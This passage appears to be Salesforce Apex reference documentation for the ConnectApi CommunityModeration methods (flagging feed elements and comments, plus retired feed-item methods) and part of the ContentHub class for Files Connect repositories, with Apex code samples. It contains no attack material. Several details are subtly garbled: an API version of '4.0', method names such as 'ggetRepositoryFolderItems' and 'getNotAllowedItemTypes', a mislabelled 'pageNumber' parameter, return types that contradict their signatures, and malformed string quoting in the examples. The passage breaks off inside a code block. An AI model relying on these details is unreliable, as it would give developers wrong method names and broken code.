Add a moderation flag of the specified type and visibility to a feed element.

API Version
38.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagType type,
ConnectApi.CommunityFlagVisibility visibility)
```

Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

**feedElementId**
Type: `String`
ID of the feed element.

type
Type: ConnectApi.CommunityFlagType
Type of moderation flag.
- FlagAsInappropriate—Flag for inappropriate content.
- FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.

visibility
Type: ConnectApi.CommunityFlagVisibility
Visibility behavior of a flag for various user types. One of these values:
- ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
- SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: ConnectApi.ModerationCapability

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

addFlagToFeedElement(communityId, feedElementId, visibility, note)
Add a moderation flag of the specified visibility with a note to a feed element.

API Version
38.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId, String feedElementId, ConnectApi.CommunityFlagVisibility visibility, String note)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

visibility
Type: ConnectApi.CommunityFlagVisibility
Visibility behavior of a flag for various user types. One of these values:
- **ModeratorsOnly**—The flag is visible only to users with moderation permissions on the flagged element or item.
- **SelfAndModerators**—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

note
Type: String
A note of up to 4,000 characters about the flag.

Return Value
Type: ConnectApi.ModerationCapability

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

```
addFlagToFeedElement(communityId, feedElementId, type, visibility, note)
```

Add a moderation flag of the specified type and visibility with a note to a feed element.

API Version
38.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
                      String feedElementId, ConnectApi.CommunityFlagType type,
                      ConnectApi.CommunityFlagVisibility visibility, String note)
```

Parameters
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
- **feedElementId**
  Type: String
  ID of the feed element.
- **type**
  Type: ConnectApi.CommunityFlagType
Type of moderation flag.

- FlagAsInappropriate—Flag for inappropriate content.
- FlagAsSpam—Flag for spam.

If a type isn’t specified, it defaults to FlagAsInappropriate.

visibility
Type: ConnectApi.CommunityFlagVisibility
Visibility behavior of a flag for various user types. One of these values:

- ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
- SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

note
Type: String
A note of up to 4,000 characters about the flag.

Return Value
Type: ConnectApi.ModerationCapability

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String commentId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ModerationFlags

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

getFlagsOnComment(communityId, commentId, visibility)
Get the moderation flags with specified visibility on a comment.

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String commentId, ConnectApi.CommunityFlagVisibility visibility)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

visibility
Type: ConnectApi.CommunityFlagVisibility
Visibility behavior of a flag for various user types.
- ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
- SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: ConnectApi.ModerationFlags
Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

`getFlagsOnComment(communityId, commentId, pageSize, pageParam)`
Get a page of moderation flags on a comment.

API Version
40.0

Requires Chatter
Yes

Signature
`public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String commentId, Integer pageSize, String pageParam)`

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`commentId`
Type: `String`
The ID for a comment.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. The default size is 0.

`pageParam`
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

Return Value
Type: `ConnectApi.ModerationFlags`

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

`getFlagsOnComment(communityId, commentId, visibility, pageSize, pageParam)`
Get a page of moderation flags with specified visibility on a comment.
API Version
4.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ModerationFlags getFlagsOnComment(String communityId, String commentId, ConnectApi.CommunityFlagVisibility visibility, Integer pageSize, String pageParam)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **commentId**
  - Type: String
  - The ID for a comment.

- **visibility**
  - Type: `ConnectApi.CommunityFlagVisibility`
  - Visibility behavior of a flag for various user types.
    - ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
    - SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

- **pageSize**
  - Type: Integer
  - Specifies the number of items per page. Valid values are from 1 through 100. The default size is 0.

- **pageParam**
  - Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

Return Value

Type: `ConnectApi.ModerationFlags`

Usage

To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

```java
getFlagsOnFeedElement(communityId, feedElementId)
```

Get the moderation flags on a feed element.
API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId, String feedElementId)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

feedElementId
  Type: String
  ID of the feed element.

Return Value
Type: ConnectApi.ModerationCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

getFlagsOnFeedElement(communityId, feedElementId, visibility)
Get the moderation flags with specified visibility on a feed element.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId, String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedElementId**
Type: String
ID of the feed element.

**visibility**
Type: ConnectApi.CommunityFlagVisibility
Visibility behavior of a flag for various user types. One of these values:
- **ModeratorsOnly**—The flag is visible only to users with moderation permissions on the flagged element or item.
- **SelfAndModerators**—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: ConnectApi.ModerationCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

```java
getFlagsOnFeedElement(communityId, feedElementId, pageParam, pageSize)
```
Get a page of moderation flags on a feed element.

API Version
40.0

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId, String feedElementId, String pageParam, Integer pageSize)
```
ID of the feed element.

**pageParam**
Type: **String**
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: **Integer**
Specifies the number of items per page. Valid values are from 1 through 100. The default size is 0.

Return Value
Type: `ConnectApi.ModerationCapability`
If the feed element doesn’t support this capability, the return value is `ConnectApiNotFoundException`.

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

**getFlagsOnFeedElement(communityId, feedElementId, visibility, pageSize, pageParam)**
Get a page of moderation flags with specified visibility on a feed element.

**API Version**
40.0

**Requires Chatter**
Yes

**Signature**
```
public static ConnectApi.ModerationCapability getFlagsOnFeedElement(String communityId, String feedElementId, ConnectApi.CommunityFlagVisibility visibility, Integer pageSize, String pageParam)
```

**Parameters**
- **communityId**
  Type: **String**
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- **feedElementId**
  Type: **String**
  ID of the feed element.
- **visibility**
  Type: `ConnectApi.CommunityFlagVisibility`
  Visibility behavior of a flag for various user types.
- ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
- SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. The default size is 0.

pageNumber
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

Return Value
Type: ConnectApi.ModerationCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags removeFlagFromComment(String communityId, String commentId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

userId
Type: String
The ID for a user.

Return Value
Type: Void

Usage
To remove a moderation flag, the context user must have added the flag or must have the Moderate Experiences Feeds permission.

removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element.

API Version
31.0

Requires Chatter
Yes

Signature
public static void removeFlagFromFeedElement(String communityId, String feedElementId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.ModerationCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.

Usage
To remove a moderation flag, the context user must have added the flag or must have the Moderate Experiences Feeds permission.
Retired CommunityModeration Methods

The following methods for CommunityModeration are retired.

IN THIS SECTION:

- `addFlagToFeedItem(communityId, feedItemId)`
  Add a moderation flag to a feed item.
- `addFlagToFeedItem(communityId, feedItemId, visibility)`
  Add a moderation flag with specified visibility to a feed item.
- `getFlagsOnFeedItem(communityId, feedItemId)`
  Get the moderation flags on a feed item.
- `getFlagsOnFeedItem(communityId, feedItemId, visibility)`
  Get the moderation flags with specified visibility on a feed item.
- `removeFlagsOnFeedItem(communityId, feedItemId, userId)`
  Remove a moderation flag from a feed item.

### addFlagToFeedItem(communityId, feedItemId)

Add a moderation flag to a feed item.

API Version

29.0–31.0

⚠️ **Important:** In version 32.0 and later, use `addFlagToFeedElement(communityId, feedElementId)`.

Requires Chatter

Yes

#### Signature

```java
public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String feedItemId)
```

#### Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedItemId`
  Type: `String`
  The ID for a feed item.

#### Return Value

Type: `ConnectApi.ModerationFlags`
Usage
To add a flag to a feed item, Allow members to flag content must be selected for an Experience Cloud site.

`addFlagToFeedItem(String communityId, String feedItemId, ConnectApi.CommunityFlagVisibility visibility)`
Add a moderation flag with specified visibility to a feed item.

API Version
30.0–31.0

⚠️ Important: In version 32.0 and later, use `addFlagToFeedElement(String communityId, String feedElementId, visibility)`.

Requires Chatter
Yes

Signature
`public static ConnectApi.ModerationFlags addFlagToFeedItem(String communityId, String feedItemId, ConnectApi.CommunityFlagVisibility visibility)`

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedItemId`
  Type: `String`
  The ID for a feed item.

- `visibility`
  Type: `ConnectApi.CommunityFlagVisibility`
  Visibility behavior of a flag for various user types.
  - `ModeratorsOnly`—The flag is visible only to users with moderation permissions on the flagged element or item.
  - `SelfAndModerators`—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: `ConnectApi.ModerationFlags`

Usage
To add a flag to a feed item, Allow members to flag content must be selected for an Experience Cloud site.

`getFlagsOnFeedItem(String communityId, String feedItemId)`
Get the moderation flags on a feed item.
API Version
29.0–31.0

Important: In version 32.0 and later, use `getFlagsOnFeedElement(communityId, feedElementId)`.

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String feedItemId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedItemId**
  - Type: `String`
  - The ID for a feed item.

Return Value

Type: `ConnectApi.ModerationFlags`

Usage

To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

```java
getFlagsOnFeedItem(communityId, feedItemId, visibility)
```

Get the moderation flags with specified visibility on a feed item.

API Version
30.0–31.0

Important: In version 32.0 and later, use `getFlagsOnFeedElement(communityId, feedElementId, visibility)`.

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ModerationFlags getFlagsOnFeedItem(String communityId, String feedItemId, ConnectApi.CommunityFlagVisibility visibility)
```
Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`feedItemId`
Type: `String`
The ID for a feed item.

`visibility`
Type: `ConnectApi.CommunityFlagVisibility`
Visibility behavior of a flag for various user types.
- **ModeratorsOnly** — The flag is visible only to users with moderation permissions on the flagged element or item.
- **SelfAndModerators** — The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: `ConnectApi.ModerationFlags`

Usage
To get moderation flags, the context user must have the Moderate Experiences Feeds permission.

**removeFlagsOnFeedItem(communityId, feedItemId, userId)**
Remove a moderation flag from a feed item.

API Version
29.0–31.0

⚠️ **Important:** In version 32.0 and later, use `removeFlagFromFeedElement(communityId, feedElementId, userId)`.

Requires Chatter
Yes

Signature
`public static ConnectApi.ModerationFlags removeFlagsOnFeedItem(String communityId, String feedItemId, String userId)`

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`. 
feedItemId
Type: String
The ID for a feed item.

userId
Type: String
The ID for a user.

Return Value
Type: Void

Usage
To remove a moderation flag, the context user must have added the flag or must have the Moderate Experiences Feeds permission.

ContentHub Class
Access Files Connect repositories and their files and folders.

Namespace
ConnectApi

ContentHub Methods
The following are methods for ContentHub. All methods are static.
Use ContentHub methods to work with Files Connect repositories.

IN THIS SECTION:
- addRepositoryItem(repositoryId, repositoryFolderId, file)
  Add a repository item.
- addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)
  Add a repository item in an Experience Cloud site.
- addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)
  Add a repository item, including the binary file.
- addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData)
  Add a repository item, including the binary file, in an Experience Cloud site.
- getAllowedItemTypes(repositoryId, repositoryFolderId)
  Get the item types that the context user is allowed to create in the repository folder.
- getAllowedItemTypes(repositoryId, repositoryFolderId, filter)
  Get the item types, filtered by type, that the context user is allowed to create in the repository folder.
- getAllowedItemTypes(communityId, repositoryId, repositoryFolderId)
  Get the item types that the context user is allowed to create in the repository folder in an Experience Cloud site.
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder in an Experience Cloud site.

getFilePreview(repositoryId, repositoryFileId, formatType)
Get a repository file preview.

getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
Get a page or page range of a repository file preview.

getFilePreview(communityId, repositoryId, repositoryFileId, formatType)
Get a repository file preview in an Experience Cloud site.

getFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)
Get a page or page range of a repository file preview in an Experience Cloud site.

getItemType(repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository.

getItemType(communityId, repositoryId, repositoryItemTypeId)
Get information about an item type associated with a repository in an Experience Cloud site.

getPreviews(repositoryId, repositoryFileId)
Get information about a repository file's supported previews.

getPreviews(communityId, repositoryId, repositoryFileId)
Get information about a repository file's supported previews in an Experience Cloud site.

getRepositories()
Get a list of repositories.

getRepositories(communityId)
Get a list of repositories in an Experience Cloud site.

getRepositories(pageParam, pageSize)
Get a page of repositories.

getRepositories(communityId, pageParam, pageSize)
Get a page of repositories in an Experience Cloud site.

getRepository(repositoryId)
Get a repository.

getRepository(communityId, repositoryId)
Get a repository in an Experience Cloud site.

getRepositoryFile(repositoryId, repositoryFileId)
Get a repository file.

getRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information.

getRepositoryFile(communityId, repositoryId, repositoryFileId)
Get a repository file in an Experience Cloud site.

getRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information in an Experience Cloud site.

getRepositoryFolder(repositoryId, repositoryFolderId)
Get a repository folder.
getRepositoryFolder(communityId, repositoryId, repositoryFolderId)
Get a repository folder in an Experience Cloud site.

ggetRepositoryFolderItems(repositoryId, repositoryFolderId)
Get repository folder items.

ggetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId)
Get repository folder items in an Experience Cloud site.

ggetRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items.

ggetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items in an Experience Cloud site.

updateRepositoryFile(repositoryId, repositoryFileId, file)
Update the name of a repository file.

updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file.

updateRepositoryFile(communityId, repositoryId, repositoryFileId, file)
Update the name of a repository file in an Experience Cloud site.

updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file in an Experience Cloud site.

**addRepositoryItem(repositoryId, repositoryFolderId, file)**
Add a repository item.

**API Version**
39.0

**Requires Chatter**
No

**Signature**

```java
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file)
```

**Parameters**

- `repositoryId`
  - Type: `String`
  - The ID of the repository.

- `repositoryFolderId`
  - Type: `String`
  - The ID of the repository folder.
**file**

Type: `ConnectApi.ContentHubItemInput`

The item type ID and fields of the item type.

**Return Value**

Type: `ConnectApi.RepositoryFolderItem`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**Example**

This example creates a file without binary content (metadata only) in a Google Drive repository folder. After the file is created, we show the file’s ID, name, description, external URL, and download URL.

```java
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId = 'folder:0B0lTys1KmM3eSVJ2bj1zTGFqSWs';

final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = 'new folder item name.txt';
newItem.fields.add(fieldValueInput);

//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);

final ConnectApi.RepositoryFolderItem newFolderItem = ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \''{0}\'', name: \''{1}\'', description: \''{2}\'', \n external URL: \''{3}\'', download URL: \''{4}\'', new String[]{newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl, newFile.downloadUrl}}));
```

SEE ALSO:

- `setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, result)`
- Testing ConnectApi Code
addRepositoryItem(communityId, repositoryId, repositoryFolderId, file)
Add a repository item in an Experience Cloud site.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.

Return Value
Type: ConnectApi.RepositoryFolderItem

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, result)
Testing ConnectApi Code

addRepositoryItem(repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file.
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData)

Parameters

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.

fileData
Type: ConnectApi.BinaryInput
The binary file.

Return Value
Type: ConnectApi.RepositoryFolderItem

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Example
This example creates a file with binary content and metadata in a Google Drive repository folder. After the file is created, we show the file’s ID, name, description, external URL, and download URL.

```java
final String gDriveRepositoryId = '0xCxx0000000000DGAy', gDriveFolderId = 'folder:0B0lTys1KmM3sSVJ2bJ1zTGFqSWs';

final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();
newItem.itemTypeId = 'document'; // see getNotAllowedTypes for any file item types available for creation/update
```
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

//Metadata: name field
final String newFileName = 'new folder item name.txt';
final ConnectApi.ContentHubFieldValueInput fieldValueInput = new ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = newFileName;
newItem.fields.add(fieldValueInput);

//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new ConnectApi.ContentHubFieldValueInput();
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);

//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob, newFileMimeType, newFileName);

final ConnectApi.RepositoryFolderItem newFolderItem = ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem, fileBinaryInput);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \''{0}'\', name: \''{1}'\', description: \''{2}'\' \n external URL: \''{3}'\', download URL: \''{4}'\'', new String[]{newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl, newFile.downloadUrl})));

SEE ALSO:

setTestAddRepositoryItem(repositoryId, repositoryFolderId, file, fileData, result)
Testing ConnectApi Code

addRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData)
Add a repository item, including the binary file, in an Experience Cloud site.

API Version
39.0

Requires Chatter
No
Signature

```java
public static ConnectApi.RepositoryFolderItem addRepositoryItem(String communityId,
String repositoryId, String repositoryFolderId, ConnectApi.ContentHubItemInput file,
ConnectApi.BinaryInput fileData)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **repositoryId**
  - Type: String
  - The ID of the repository.

- **repositoryFolderId**
  - Type: String
  - The ID of the repository folder.

- **file**
  - Type: ConnectApi.ContentHubItemInput
  - The item type ID and fields of the item type.

- **fileData**
  - Type: ConnectApi.BinaryInput
  - The binary file.

Return Value

- Type: ConnectApi.RepositoryFolderItem

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestAddRepositoryItem(communityId, repositoryId, repositoryFolderId, file, fileData, result)`
  - Testing ConnectApi Code

`getAllowedItemTypes(repositoryId, repositoryFolderId)`

Get the item types that the context user is allowed to create in the repository folder.

API Version

39.0
Requires Chatter
No

Signature

```java
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String repositoryId, String repositoryFolderId)
```

Parameters

- `repositoryId`
  - Type: `String`
  - The ID of the repository.

- `repositoryFolderId`
  - Type: `String`
  - The ID of the repository folder.

Return Value

Type: `ConnectApi.ContentHubAllowedItemTypeCollection`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetAllowedItemTypes(repositoryId, repositoryFolderId, result)`
- Testing ConnectApi Code

```java
getAllowedItemTypes(repositoryId, repositoryFolderId, filter)
```

Get the item types, filtered by type, that the context user is allowed to create in the repository folder.

API Version

39.0

Requires Chatter
No

Signature

```java
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String repositoryId, String repositoryFolderId, ConnectApi.ConnectContentHubItemType filter)
```
Parameters

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

filter
Type: ConnectApi.ContentHubItemType
Item types. Values are:
- Any—Includes files and folders.
- FilesOnly—Includes files only.
- FoldersOnly—Includes folders only.

Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Example
This example calls getAllowedItemTypes(repositoryId, repositoryFolderId, ConnectApi.ContentHubItemType.FilesOnly) to get the first ConnectApi.ContentHubItemTypeSummary.id of a file. The context user can create allowed files in a repository folder in the external system.

```java
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl = ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId, ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes = allowedItemTypesColl.allowedItemTypes;
string allowedFileItemTypeIds = null;
if(allowedItemTypes.size() > 0){
    ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);
    allowedFileItemTypeIds = allowedItemTypeSummary.id;
}
```

SEE ALSO:
- setTestGet AllowedItemTypes(repositoryId, repositoryFolderId, filter, result)
- Testing ConnectApi Code
getAllowedItemTypes(communityId, repositoryId, repositoryFolderId)
Get the item types that the context user is allowed to create in the repository folder in an Experience Cloud site.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.ContentHubAllowedItemTypeCollection getAllowedItemTypes(String communityId, String repositoryId, String repositoryFolderId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

Return Value
Type: ConnectApi.ContentHubAllowedItemTypeCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetAllowedItemTypes(communityId, repositoryId, repositoryFolderId, result)
Testing ConnectApi Code

getAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter)
Get the item types, filtered by type, that the context user is allowed to create in the repository folder in an Experience Cloud site.

API Version
39.0
Requires Chatter
No

Signature

```
public static ConnectApi.ContentHubAllowedItemTypeCollection getNotAllowedItemTypes(String communityId, String repositoryId, String repositoryFolderId, ConnectApi.ConnectContentHubItemType filter)
```

Parameters

* `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

* `repositoryId`
  Type: `String`
  The ID of the repository.

* `repositoryFolderId`
  Type: `String`
  The ID of the repository folder.

* `filter`
  Type: `ConnectApi.ContentHubItemType`  
  Item types. Values are:
  - `Any`—Includes files and folders.
  - `FilesOnly`—Includes files only.
  - `FoldersOnly`—Includes folders only.

Return Value

Type: `ConnectApi.ContentHubAllowedItemTypeCollection`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetNotAllowedItemTypes(communityId, repositoryId, repositoryFolderId, filter, result)`
- Testing ConnectApi Code

```
getFilePreview(repositoryId, repositoryFileId, formatType)
```

Get a repository file preview.
API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.FilePreview getFilePreview(String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType)

Parameters
repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

formatType
Type: ConnectApi.FilePreviewFormat
Specifies the format of the file preview. Values are:
• Jpg—Preview format is JPG.
• Pdf—Preview format is PDF.
• Svg—Preview format is compressed SVG.
• Thumbnail—Preview format is 240 x 180 PNG.
• ThumbnailBig—Preview format is 720 x 480 PNG.
• ThumbnailTiny—Preview format is 120 x 90 PNG.

PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.
If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter general in the Quick Find box in Setup. Select General Settings, and then select Display alternative file previews.

Return Value
Type: ConnectApi.FilePreview

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.
Example

This example calls `getFilePreview(repositoryId, repositoryFileId, ConnectApi.FilePreviewFormat.Thumbnail)` to get the thumbnail format preview along with its respective URL and number of thumbnail renditions. For each thumbnail format, we show every rendition URL available.

```java
